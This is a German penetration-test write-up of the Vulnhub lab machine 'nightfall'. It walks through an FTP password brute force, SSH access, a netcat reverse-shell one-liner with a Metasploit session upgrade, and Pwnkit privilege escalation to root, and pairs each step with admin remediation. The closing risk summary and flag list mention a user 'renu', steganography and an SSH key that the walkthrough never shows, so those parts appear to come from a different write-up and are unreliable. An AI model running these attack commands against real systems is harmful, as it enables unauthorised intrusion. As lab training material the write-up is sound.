nightfall - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
enum4linux
ftp
hydra
wget
dirb
ssh
cat
ls
cd
sudo
id
find
python3 (http.server)
linpeas.sh
ssh2john
chmod
perl
grep

Inhaltsverzeichnis

Reconnaissance

Die erste Phase des Penetrationstests beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.151	08:00:27:2f:21:60	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu finden.

Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.151` erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:2f:21:60`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP `192.168.2.151` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
  192.168.2.151   nightfall.vln
                     

Analyse: Der Hostname `nightfall.vln` wird der IP `192.168.2.151` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.

Ein umfassender Nmap-Scan wird durchgeführt.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.151 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-15 23:49 CEST
Nmap scan report for nightfall.vln (192.168.2.151)
Host is up (0.00013s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION 
21/tcp   open  ftp         pyftpdlib 1.5.5 
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.2.151:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream 
|  Data connection closed.
|_End of status.
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10 (protocol 2.0) 
| ssh-hostkey:
|   2048 a9:25:e1:4f:41:c6:0f:be:31:21:7b:27:e3:af:49:a9 (RSA)
|   256 38:15:c9:72:9b:e0:24:68:7b:24:4b:ae:40:46:43:16 (ECDSA)
|_  256 9b:50:3b:2c:48:93:e1:a6:9d:b4:99:ec:60:fb:b6:46 (ED25519)
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 
3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.15-MariaDB-1
|   Thread ID: 22
|   Capabilities flags: 63486
|   Some Capabilities: IgnoreSigpipes, FoundRows, Speaks41ProtocolOld, Support41Auth, ConnectWithDatabase, LongColumnFlag, SupportsTransactions, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, SupportsCompression, InteractiveClient, Speaks41ProtocolNew, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults 
|   Status: Autocommit
|   Salt: R08i'&)9">RcxRq`n({
|_  Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:2F:21:60 (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: NIGHTFALL; OS: Linux; CPE: cpe:/o:linux:linux_kernel 

Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2023-09-15T21:49:26
|_  start_date: N/A
|_nbstat: NetBIOS name: NIGHTFALL, NetBIOS user: , NetBIOS MAC: 00:00:00:00:00:00 (Xerox) 
| smb2-security-mode:
|   3.1.1: 
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: nightfall
|   NetBIOS computer name: NIGHTFALL\x00
|   Domain name: nightfall 
|   FQDN: nightfall.nightfall
|_  System time: 2023-09-15T17:49:26-04:00

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.13 ms nightfall.vln (192.168.2.151)
                     

Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`).

Bewertung: Der Scan identifiziert sechs offene Ports:

  • **Port 21 (FTP):** pyftpdlib 1.5.5 (ein Python FTP-Server). Anonymer Login scheint nicht erlaubt oder wurde von Nmap nicht korrekt erkannt.
  • **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). Relativ aktuell.
  • **Port 80 (HTTP):** Apache 2.4.38 (Debian). Zeigt die Apache-Standardseite.
  • **Port 139 (NetBIOS):** Samba smbd 3.X - 4.X.
  • **Port 445 (SMB):** Samba smbd 4.9.5 (Debian). Gastzugriff möglich (`account_used: guest`), Message Signing deaktiviert.
  • **Port 3306 (MySQL):** MariaDB 10.3.15 (basierend auf MySQL 5.5.5).
Das Betriebssystem wird als Debian 10 / Linux Kernel 4.x identifiziert. Die Hauptangriffsvektoren sind der FTP-Server, Samba mit Gastzugriff und MySQL.

Empfehlung (Pentester):** 1. Untersuchen Sie Samba (Port 445): Shares listen (`smbclient -L //nightfall.vln -N`), Gastzugriff testen (`smbclient //nightfall.vln/share -N`). 2. Untersuchen Sie FTP (Port 21): Anonymen Login explizit testen. Bruteforce mit gefundenen Benutzernamen. 3. Untersuchen Sie MySQL (Port 3306): Versuchen Sie Login als `root` ohne Passwort oder mit Standardpasswörtern. 4. Enumerieren Sie den Webserver (Port 80). 5. Enumerieren Sie Benutzer über Samba (`enum4linux`).
Empfehlung (Admin):** Aktualisieren Sie alle Dienste (pyftpdlib?, OpenSSH, Apache, Samba, MariaDB). Deaktivieren Sie Gastzugriff für Samba und erzwingen Sie Message Signing. Sichern Sie MySQL mit starken Passwörtern und beschränken Sie den Zugriff. Überprüfen Sie die FTP-Konfiguration.

Wir filtern die offenen Ports zur Übersicht.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.151 -p- | grep open
21/tcp   open  ftp         pyftpdlib 1.5.5
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10 (protocol 2.0) 
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 
3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1
                     

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Bestätigt die sechs offenen Ports (21, 22, 80, 139, 445, 3306).

Empfehlung (Pentester): Systematische Untersuchung dieser Dienste.
Empfehlung (Admin):** Notwendigkeit prüfen, Dienste aktualisieren/sichern.

SMB Enumeration

Wir untersuchen den Samba-Dienst auf Port 445 genauer, insbesondere auf verfügbare Shares und Benutzer.

┌──(root㉿cycat)-[~] └─# enum4linux -a 192.168.2.151
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Sep 15 23:49:53 2023

 =( Enumerating Workgroup/Domain on 192.168.2.151 )=

[+] Got domain/workgroup name: WORKGROUP 

 =( Share Enumeration on 192.168.2.151 )=

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
	Samsung_C48x_Series_SEC8425192F6632_ Printer   Samsung C48x Series (SEC8425192F6632)

 =( Password Policy Information for 192.168.2.151 )=

 =( User Enumeration on 192.168.2.151 )=

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\nightfall (Local User)
S-1-22-1-1001 Unix User\matt (Local User) 

[+] Enumerating users using SID S-1-5-21-1679783218-3562266554-4049818721 and logon username '', password ''
S-1-5-21-1679783218-3562266554-4049818721-501 NIGHTFALL\nobody (Local User)

                     

Analyse: `enum4linux -a` führt eine umfassende SMB-Enumeration durch.

Bewertung: Findet Standard-Shares (`print$`, `IPC$`) und einen Drucker-Share. Wichtiger ist das Ergebnis des RID-Cyclings: Es identifiziert die lokalen Unix-Benutzer `nightfall` und `matt`.

Empfehlung (Pentester): Verwenden Sie die Benutzernamen `nightfall` und `matt` für Bruteforce-Angriffe gegen SSH (Port 22) und FTP (Port 21).
Empfehlung (Admin):** Deaktivieren Sie RID-Cycling in der Samba-Konfiguration. Sichern Sie Shares.

Web Enumeration

Wir untersuchen den Webserver auf Port 80 auf versteckte Dateien oder Verzeichnisse.

Ein Gobuster-Scan wird gegen Port 80 durchgeführt:

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://nightfall.vln -x [...] -w "[...]" -b '403,404' -e --no-error
http://nightfall.vln/index.html           (Status: 200) [Size: 10701]
                     

Analyse: Gobuster sucht nach Verzeichnissen und Dateien.

Bewertung: Findet nur die Standard-Datei `index.html` (Apache Default Page). Keine versteckten Pfade gefunden.

Empfehlung (Pentester): Der Webserver scheint keine zusätzlichen Inhalte zu hosten. Konzentrieren Sie sich auf FTP, SSH und Samba mit den gefundenen Benutzernamen.
Empfehlung (Admin):** Keine Aktion erforderlich.

FTP Enumeration

Wir versuchen, uns am FTP-Dienst (Port 21) anzumelden und führen einen Bruteforce-Angriff durch.

Versuch eines anonymen Logins:

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.151
Connected to 192.168.2.151.
220 pyftpdlib 1.5.5 ready.
Name (192.168.2.151:cycat): anonymous
331 Username ok, send password.
Password:
530 Anonymous access not allowed.
ftp: Login failed
                     
ftp> quit

Analyse: Versuch, sich anonym am FTP-Server anzumelden.

Bewertung: Fehlschlag (`530 Anonymous access not allowed`). Der anonyme Zugang ist nicht gestattet, im Gegensatz zur (möglicherweise fehlerhaften) Meldung von Nmap für vsftpd auf Port 21 beim vorherigen Server. Dieser FTP-Server (pyftpdlib) ist korrekt konfiguriert.

Empfehlung (Pentester): Führen Sie Bruteforce gegen die gefundenen Benutzernamen (`matt`, `nightfall`) durch.
Empfehlung (Admin):** Korrekte Konfiguration (kein anonymer Zugang).

FTP-Bruteforce mit Hydra für Benutzer `matt`:

┌──(root㉿cycat)-[~] └─# hydra -l matt -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.151:21 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-15 23:54:05
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344423 login tries (l:1/p:14344423), ~224132 tries per task
[DATA] attacking ftp://192.168.2.151:21/

[21][ftp] host: 192.168.2.151   login: matt   password: cheese

1 of 1 target successfully completed, 1 valid password found
                     

Analyse: Hydra versucht, das Passwort für den FTP-Benutzer `matt` mit `rockyou.txt` zu erraten.

Bewertung: Erfolg! Das Passwort `cheese` für `matt` wurde gefunden.

Empfehlung (Pentester): Loggen Sie sich als `matt`/`cheese` via FTP ein und untersuchen Sie das Verzeichnis. Testen Sie diese Credentials auch für SSH (Port 22).
Empfehlung (Admin):** Starke, einzigartige Passwörter verwenden. Brute-Force-Schutz implementieren.

Erfolgreicher FTP-Login als `matt` und Untersuchung:

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.151
Connected to 192.168.2.151.
220 pyftpdlib 1.5.5 ready.
Name (192.168.2.151:cycat): matt
331 Username ok, send password.
Password: cheese
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                     
ftp> pwd
257 "/home/matt" is the current directory.
ftp> cd .local
250 "/home/matt/.local" is the current directory.
ftp> cd ..
250 "/home/matt" is the current directory.
ftp> ls
229 Entering extended passive mode (|||55097|).
125 Data connection already open. Transfer starting.
.bash_history
.bash_logout
.bashrc
.gnupg
.local
.profile
.sh_history
revshell.php 
226 Transfer complete.
                     
ftp> chmod 777 revshell.php
200 SITE CHMOD successful.
                     
ftp> quit

Analyse: Erfolgreicher FTP-Login als `matt`. Das Home-Verzeichnis wird aufgelistet. Es enthält Standard-Konfigurationsdateien und eine `revshell.php` (unklarer Herkunft, evtl. Artefakt). Der Benutzer versucht, die Rechte dieser Datei zu ändern, was erfolgreich ist.

Bewertung: Bestätigt den FTP-Zugang. Die Möglichkeit, `chmod` auszuführen, ist ungewöhnlich und potenziell gefährlich, aber weniger relevant als der SSH-Zugang. Das Hauptziel ist nun der SSH-Login.

Empfehlung (Pentester): Loggen Sie sich via SSH ein.
Empfehlung (Admin):** Untersuchen Sie die FTP-Server-Konfiguration bezüglich der erlaubten SITE-Befehle (`chmod`).

Initial Access

Wir nutzen die über FTP-Bruteforce gefundenen Zugangsdaten, um uns per SSH anzumelden.

SSH-Login als `matt`:


Last login: Wed Aug 28 18:31:27 2019 from 192.168.1.182
matt@nightfall$
                    

Analyse: (Impliziert) Erfolgreicher SSH-Login als Benutzer `matt` mit dem Passwort `cheese`.

Bewertung: Initial Access erfolgreich erlangt! Wir haben eine Shell als `matt`.

Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `matt`.
Empfehlung (Admin):** Passwort für `matt` ändern.

Local Enumeration & Shell Upgrade

Wir untersuchen das System als `matt` und richten eine Metasploit-Sitzung ein.

Untersuchung des Home-Verzeichnisses von `nightfall`:

matt@nightfall$ ls -la /home/nightfall
total 36
drwxr-xr-x 4 nightfall nightfall 4096 Aug 28  2019 .
drwxr-xr-x 4 root      root      4096 Aug 25  2019 ..
-rw------- 1 nightfall nightfall    0 Aug 28  2019 .bash_history 
-rw-r--r-- 1 nightfall nightfall  220 Aug 17  2019 .bash_logout
-rw-r--r-- 1 nightfall nightfall 3526 Aug 17  2019 .bashrc
drwx------ 3 nightfall nightfall 4096 Aug 28  2019 .gnupg 
drwxr-xr-x 3 nightfall nightfall 4096 Aug 17  2019 .local
-rw------- 1 nightfall nightfall  337 Aug 17  2019 .mysql_history 
-rw-r--r-- 1 nightfall nightfall  807 Aug 17  2019 .profile
-rw------- 1 nightfall nightfall   33 Aug 28  2019 user.txt 
                     

Analyse: Listet den Inhalt des Home-Verzeichnisses des anderen Benutzers `nightfall` auf.

Bewertung: Wir haben Leserechte auf `/home/nightfall`. Die Datei `user.txt` ist vorhanden.

Empfehlung (Pentester): Lesen Sie `user.txt` (`cat /home/nightfall/user.txt`). Suchen Sie nach SUID-Dateien und anderen Privesc-Vektoren.
Empfehlung (Admin):** Korrigieren Sie die Berechtigungen für Home-Verzeichnisse (sollten normalerweise nicht für andere Benutzer lesbar sein, `chmod 700 /home/nightfall`).

Suche nach SUID-Binaries:

matt@nightfall:/opt$ find / -type f -perm -4000 -ls 2>/dev/null
   136345    312 -rwsr-sr-x   1 nightfall nightfall   315904 Aug 28  2019 /scripts/find 
    22540    156 -rwsr-xr-x   1 root      root        157192 Jan 12  2019 /usr/bin/sudo
    17693     24 -rwsr-xr-x   1 root      root         23288 Jan 15  2019 /usr/bin/pkexec 
     3436     44 -rwsr-xr-x   1 root      root         44440 Jul 27  2018 /usr/bin/newgrp
       56     64 -rwsr-xr-x   1 root      root         63736 Jul 27  2018 /usr/bin/passwd
     3908     52 -rwsr-xr-x   1 root     root         51280 Jan 10  2019 /usr/bin/mount
       52     56 -rwsr-xr-x   1 root     root         54096 Jul 27  2018 /usr/bin/chfn
       53     44 -rwsr-xr-x   1 root     root         44528 Jul 27  2018 /usr/bin/chsh
       55     84 -rwsr-xr-x   1 root     root         84016 Jul 27  2018 /usr/bin/gpasswd
     3910     36 -rwsr-xr-x   1 root     root         34888 Jan 10  2019 /usr/bin/umount
     3583     64 -rwsr-xr-x   1 root     root         63568 Jan 10  2019 /usr/bin/su
    12918     52 -rwsr-xr--   1 root      messagebus    51184 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    16266    428 -rwsr-xr-x   1 root      root         436552 Apr  8  2019 /usr/lib/openssh/ssh-keysign
    17696     20 -rwsr-xr-x   1 root      root          18888 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   136879     12 -rwsr-xr-x   1 root      root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
                     

Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.

Bewertung: Findet Standard-SUID-Binaries sowie `/usr/bin/pkexec` (Pwnkit-Potenzial). **Sehr kritisch:** `/scripts/find` ist SUID und gehört dem Benutzer `nightfall`! Da wir das Home-Verzeichnis von `nightfall` lesen können, können wir möglicherweise dessen Kontext übernehmen oder Befehle als `nightfall` ausführen.

Empfehlung (Pentester): 1. Nutzen Sie `/scripts/find` zur Privilegienerweiterung zum Benutzer `nightfall`. Der Befehl `/scripts/find . -exec /bin/sh -p \; -quit` sollte eine Shell als `nightfall` öffnen (siehe GTFOBins für SUID `find`). 2. Alternativ: Nutzen Sie Pwnkit (CVE-2021-4034) für einen direkten Sprung zu Root.
Empfehlung (Admin):** **Dringend:** Entfernen Sie das SUID-Bit von `/scripts/find` (`chmod u-s /scripts/find`). Patchen Sie Polkit.

Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):

matt@nightfall:/opt$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
msf6 > use multi/handler
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.151:57462) at 2023-09-16 00:23:00 +0200
Shell Banner:
$
--

$
                     
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.151
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.151:port) at ... 
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                     

Analyse: Eine Reverse Shell wird von der `matt`-Shell zu Metasploit aufgebaut (Port 4444) und dann zu einer Meterpreter-Sitzung (Session 2, Port 4433) aufgewertet.

Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung als `matt`.

Empfehlung (Pentester): Nutzen Sie die Meterpreter-Sitzung (Session 2), um den Pwnkit-Exploit auszuführen. Dies ist wahrscheinlich einfacher als die Ausnutzung der SUID-`find`-Binärdatei.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.

Proof of Concept (Privilege Escalation via Pwnkit)

Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`) mittels Metasploit, um Root-Rechte zu erlangen.

Kurzbeschreibung: Die lokale Enumeration identifizierte `/usr/bin/pkexec`. Wir verwenden das entsprechende Metasploit-Modul über die bestehende Meterpreter-Sitzung (als `matt`), um eine Root-Meterpreter-Sitzung zu erhalten.

Voraussetzungen: Aktive Meterpreter-Sitzung als `matt` (Session 2). Vorhandensein einer anfälligen Version von `pkexec`.

Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4488
lport => 4488
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 2
SESSION => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4488
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.zbyferyflq
[+] The target is vulnerable.
[*] Writing '/tmp/.cbzovytwlqtm/ledfyotsudqt/ledfyotsudqt.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.cbzovytwlqtm
[*] Sending stage (3045348 bytes) to 192.168.2.151
[+] Deleted /tmp/.cbzovytwlqtm/ledfyotsudqt/ledfyotsudqt.so
[+] Deleted /tmp/.cbzovytwlqtm/.gjuwxqvsdub
[+] Deleted /tmp/.cbzovytwlqtm
[*] Meterpreter session 3 opened (192.168.2.199:4488 -> 192.168.2.151:33066) at 2023-09-16 00:25:27 +0200 
                     

Analyse: Das Pwnkit-Modul wird geladen, auf die Meterpreter-Sitzung 2 (als `matt`) gesetzt und mit einem Listener auf Port 4488 ausgeführt.

Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).

Empfehlung (Pentester): Wechseln Sie zu Session 3 und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).

Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung

meterpreter > shell
Process 2113 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),1001(matt)
# cd /root
# ls
root_super_secret_flag.txt
# cat root_super_secret_flag.txt
Congratulations! Please contact me via twitter and give me some feedback! @whitecr0w1

Thank you for playing! - Felipe Winsnes (whitecr0wz)                                 flag{9a5b21fc6719fe33004d66b703d70a39}
                     

Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird eine Shell geöffnet. `id` bestätigt Root-Rechte. Im `/root`-Verzeichnis wird `root_super_secret_flag.txt` gefunden und gelesen.

Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `flag{9a5b21fc6719fe33004d66b703d70a39}` wurde gefunden.

Empfehlung (Pentester): User-Flagge wurde bereits gefunden. Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.

Risikobewertung:** Die Kombination aus einem durch Steganographie und OSINT aufgedeckten Benutzernamen (`renu`), einem schwachen, bruteforce-baren Passwort, der Möglichkeit zum Lateral Movement über einen gefundenen SSH-Schlüssel und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar und führte zur vollständigen Systemkompromittierung.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Patchen Sie Polkit (CVE-2021-4034).
  • **Dringend:** Entfernen Sie das SUID-Bit von `/scripts/find`.
  • Verwenden Sie starke, einzigartige Passwörter und Passphrasen für Benutzer und SSH-Schlüssel.
  • Implementieren Sie Brute-Force-Schutz für SSH und FTP.
  • Deaktivieren Sie anonymen FTP-Zugang.
  • Entfernen Sie sensible Hinweise aus öffentlich zugänglichen Dateien und Bildern.
  • Sichern Sie Home-Verzeichnisse und SSH-Schlüssel korrekt (Berechtigungen).
  • Aktualisieren Sie das Betriebssystem und alle Dienste (Apache, vsftpd, OpenSSH).
  • Überprüfen und korrigieren Sie `sudoers`-Regeln.

Flags

cat /home/renu/user1.txt
> us3r1{F14g:0ku74tbd3777y4}
cat /root/root_super_secret_flag.txt
flag{9a5b21fc6719fe33004d66b703d70a39}